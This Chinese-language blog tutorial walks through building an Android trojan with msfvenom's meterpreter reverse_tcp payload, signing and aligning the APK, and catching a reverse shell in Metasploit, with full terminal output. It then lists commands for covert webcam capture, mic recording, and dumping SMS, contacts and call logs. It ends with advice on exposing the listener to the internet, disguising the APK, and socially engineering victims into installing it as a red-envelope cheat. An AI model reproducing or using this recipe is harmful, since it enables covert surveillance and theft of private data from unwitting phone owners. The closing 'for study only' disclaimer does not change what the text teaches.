kali⽣成安卓⽊马
前置条件
需要有kali系统并且保证相关命令正常执⾏。
登录Oracle官⽹下载Linux版的jdk
事出有因,期末了各科都要交项⽬,安卓也不例外,我想着交什么呢?交安卓app感觉太过乏味,还是这个⽐较新颖,显得Big⾼。2020.1.3---建议还是不要学我,我项⽬零分操作
1.打开终端,输⼊ifconfig查看ip地址(也是监听地址)
2.输⼊以下命令
msfvenom -p android/meterpreter/reverse_tcp LHOST=你kali的ip LPORT=5555 R > /root/apk.apk
3.为了⽊马的兼容性为其配置签名,并验证
创建证书:
keytool -genkey -V -keystore apk-trojan-key.keystore -alias apk -keyalg RSA -keysize 1024 -validity 999
注意:这⾥alias参数后跟apk⽂件夹的⽂件名,⽂件名参考第⼆部⽣成,可⾃⾏设置。
签名:
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore apk-trojan-key.keystore apk.apk apk
验证:
jarsigner -verify -verbose apk.apk
4.使⽤Zipalign优化apk
安装命令:
apt-get install zipalign
优化apk:
zipalign -v 4 apk.apk aaaa.apk
5.启动攻击加载模块,设置反弹连接
启动msf:
msfconsole
1.use exploit/multi/handler //加载模块
2. set payload android/meterpreter/reverse_tcp //选择Payload
3.show options //查看参数设置
这个payload⾥边有两个参数要设置 LHOST和LPORT 表⽰地址和端⼝默认的端⼝是4444 现在我们来更改设置
1.set LHOST 17
2.2
3.0.209 //这⾥的地址设置成我们刚才⽣成⽊马的IP地址
2.set LPORT 5555 //这⾥的端⼝设置成刚才我们⽣成⽊马所监听的端⼝
结果流程演⽰
root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.210.26.27 netmask 255.255.248.0 broadcast 10.210.31.255
inet6 fe80::20c:29ff:fe4f:7237 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:4f:72:37 txqueuelen 1000 (Ethernet)
RX packets 16 bytes 2062 (2.0 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 37 bytes 3277 (3.2 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 20 bytes 1116 (1.0 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 20 bytes 1116 (1.0 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
root@kali:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=10.210.26.27 LPORT=5555 R > /root/apk.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 10085 bytes
root@kali:~# keytool -genkey -V -keystore apk-trojan-key.keystore -alias apk -keyalg RSA -keysize 1024 -validity 999
输⼊密钥库⼝令:
再次输⼊新⼝令:
您的名字与姓⽒是什么?
[Unknown]: 1
您的组织单位名称是什么?
[Unknown]: 1
您的组织名称是什么?
[Unknown]: 1
您所在的城市或区域名称是什么?
[Unknown]: 1
您所在的省/市/⾃治区名称是什么?
[Unknown]: 1
该单位的双字母国家/地区代码是什么?
[Unknown]: 1
CN=1, OU=1, O=1, L=1, ST=1, C=1是否正确?
[否]: y
正在为以下对象⽣成 1,024 位RSA密钥对和⾃签名证书 (SHA256withRSA) (有效期为 999 天):
CN=1, OU=1, O=1, L=1, ST=1, C=1
输⼊ <apk> 的密钥⼝令
(如果和密钥库⼝令相同, 按回车):
[正在存储apk-trojan-key.keystore]
Warning:
JKS 密钥库使⽤专⽤格式。建议使⽤ "keytool -importkeystore -srckeystore apk-trojan-key.keystore -destkeystore apk-trojan-key.keystore -deststoretype pkcs12" 迁移到⾏业标准格式 PKCS12。root@kali:~# jarsigner -verbose -sigalg SHA256withRSA -digestalg SHA1 -keystore apk-trojan-key.keystore apk.apk apk
root@kali:~# jarsigner -verbose -sigalg SHA256withRSA -digestalg SHA1 -keystore apk-trojan-key.keystore apk.apk apk
输⼊密钥库的密码短语:
正在添加: META-INF/APK.SF
正在添加: META-INF/APK.RSA
正在签名: l
正在签名: resources.arsc
正在签名: classes.dex
>>> 签名者
X.509, CN=1, OU=1, O=1, L=1, ST=1, C=1
[可信证书]
jar 已签名。
警告:
签名者证书为⾃签名证书。
root@kali:~# jarsigner -verify -verbose apk.apk
s 258 Sat Dec 28 10:47:08 EST 2019 META-INF/MANIFEST.MF
393 Sat Dec 28 10:49:06 EST 2019 META-INF/APK.SF
870 Sat Dec 28 10:49:06 EST 2019 META-INF/APK.RSA
272 Sat Dec 28 10:47:08 EST 2019 META-INF/SIGNFILE.SF
1842 Sat Dec 28 10:47:08 EST 2019 META-INF/SIGNFILE.RSA
0 Sat Dec 28 10:47:08 EST 2019 META-INF/
sm 6992 Sat Dec 28 10:47:08 EST l
sm 572 Sat Dec 28 10:47:08 EST 2019 resources.arsc
sm 19932 Sat Dec 28 10:47:08 EST 2019 classes.dex
s = 已验证签名
m = 在清单中列出条⽬
k = 在密钥库中⾄少到了⼀个证书
i = 在⾝份作⽤域内⾄少到了⼀个证书
- 由 "CN=1, OU=1, O=1, L=1, ST=1, C=1" 签名
摘要算法: SHA1
签名算法: SHA256withRSA, 1024 位密钥
- ⽆法解析的与签名相关的⽂件 META-INF/SIGNFILE.SF
jar 已验证。
警告:
此 jar 包含其证书链⽆效的条⽬。原因: PKIX path building failed: sun.path.SunCertPathBuilderException: unable to find valid certification path to requested target 此 jar 包含其签名者证书为⾃签名证书的条⽬。
此 jar 包含的签名没有时间戳。如果没有时间戳, 则在其中任⼀签名者证书到期 (最早为 2022-09-22) 之后, ⽤户可能⽆法验证此 jar。
有关详细信息, 请使⽤ -verbose 和 -certs 选项重新运⾏。
签名者证书将于 2022-09-22 到期。
root@kali:~# zipalign -v 4 apk.apk aaaa.apk
Verifying alignment of aaaa.apk (4)...
50 META-INF/MANIFEST.MF (OK - compressed)
手机unknown是什么意思283 META-INF/APK.SF (OK - compressed)
626 META-INF/APK.RSA (OK - compressed)
1316 META-INF/ (OK)
1366 META-INF/SIGNFILE.SF (OK - compressed)
1648 META-INF/SIGNFILE.RSA (OK - compressed)
l (OK - compressed)
4500 resources.arsc (OK - compressed)
4730 classes.dex (OK - compressed)
Verification successful
root@kali:~# msfconsole
[-] ***rting the Metasploit -
[-] * WARNING: No database support: could not connect to server: Connection refused
Is the server running on host "localhost" (::1) and accepting
TCP/IP connections on port 5432?
could not connect to server: Connection refused
Is the server running on host "localhost" (127.0.0.1) and accepting
TCP/IP connections on port 5432?
[-] ***
.:okOOOkdc' 'cdkOOOko:.
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
oOOOOOOOO. .oOOOOoOOOOl. ,OOOOOOOOo
dOOOOOOOO. .cOOOOOc. ,OOOOOOOOx
lOOOOOOOO. ;d; ,OOOOOOOOl
.OOOOOOOO. .; ; ,OOOOOOOO.
cOOOOOOO. .OOc. 'oOO. ,OOOOOOOc
oOOOOOO. .OOOO. :OOOO. ,OOOOOOo
lOOOOO. .OOOO. :OOOO. ,OOOOOl
;OOOO' .OOOO. :OOOO. ;OOOO;
.dOOo .OOOOocccxOOOO. xOOd.
,kOl .OOOOOOOOOOOOO. .dOk,
:kk;.OOOOOOOOOOOOO.cOk:
;kOOOOOOOOOOOOOOOk:
,xOOOOOOOOOOOx,
.lOOOOOOOl.
,dOd,
.
=[ metasploit v5.0.41-dev ]
+ -- --=[ 1914 exploits - 1074 auxiliary - 330 post ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops ]
+ -- --=[ 4 evasion ]
+ -- --=[ 4 evasion ]
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (android/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf5 exploit(multi/handler) > set LHOST 10.210.26.27
LHOST => 10.210.26.27
msf5 exploit(multi/handler) > set LPORT 5555
LPORT => 5555
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.210.26.27:5555
[*] Sending stage (72435 bytes) to 10.210.26.14
[*] Meterpreter session 1 opened (10.210.26.27:5555 -> 10.210.26.14:53964) at 2019-12-28 10:55:04 -0500 meterpreter > sysinfo
Computer : localhost
OS : Android 8.1.0 - Linux 4.19.50-android-x86_64-geeb7e76e5df5 (x86_64)
Meterpreter : dalvik/android
meterpreter > 到此完成⽊马⽣成及植⼊
⽊马常⽤监听命令
webcam_list 列出⽹络摄像头
webcam_stream //开启摄像头
webcam_snap //隐秘拍照功能
record_mic [ˈrekərd]/记录/ 从默认麦克风录制⾳频为X秒
webcam_chat 开始视频聊天
webcam_snap 从指定的摄像头获取快照
webcam_stream -i 1 从指定的⽹络摄像头播放视频流[选择后摄像头]
Android Commands
=================
activity_start 从URI字符串启动Android活动
check_root 检查设备是否有根
dump_calllog 获取调⽤⽇志
dump_contacts 获取联系⼈列表
dump_sms 获取短信
geolocate 利⽤地理定位获取当前LAT
wlan_geolocate 利⽤WLAN信息获取当前LAT
hide_app_icon 从发射器隐藏应⽤程序图标
interval_collect 管理区间收集能⼒
send_sms 从⽬标会话发送短消息
set_audio_mode
sqlite_query 从存储库查询SQLite数据库
wakelock 启⽤/禁⽤Wakelock
可以输⼊?查看更多命令
常见问题解决
jarsigner命令不到
原因:没有安装Java jdk,命令基于Java jdk执⾏,解决需要给kali配置Java jdk环境。
Zipalign⽆法下载
可能跟你当前的⽹络环境有关系,换数据试⼀下,如果⾏不通参考以下
参考其中的更新命令,更新源之后再尝试是否能下载成功插件。
⽊马⽣成后监视窗⼝⽆响应
显⽰Started reverse TCP handler on “IP:端⼝”
但是不管怎么点击⼿机上的app msf⾥都没反应呢?
答:
服务器这边没反应是没建⽴起连接。先ping⼀下查看电脑能否ping通⼿机,如果可以那可能是端⼝问题,telnet⼀下就知道了,有可能端⼝被防⽕墙屏蔽了,有可能是端⼝被其他服务占⽤了。当然也不排除⼿机的问题,⽐如⼀些安全软件之类的问题,最好在虚拟机内测试避免⽊马造成不可逆的破坏。
让安装的⼈都中招
1.内⽹穿透,让你的监控地址成为⼀个公⽹IP这样就能接收到⼴域⽹的传来信息。
2.⽊马涉及的敏感权限较多,需要加壳,最近在研究apk反编译等技术,希望能修改掉apk图标,名称等。
3.如何让别⼈⼼⽢情愿的⾃⼰安装,不仅要看⽊马的伪装,也要看你如何去社⼯,其实社⼯的本质就是研究对⽅的⼼理,达到欺骗⽬的,⽐如你可以说,这是⼀个抢红包外挂,是不是对⽅极⼤程度的对软件的安全性放松警惕呢?
说明
⽂章内容仅供学习参考,不得⽤于⾮法测试,请遵守国家法律!
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论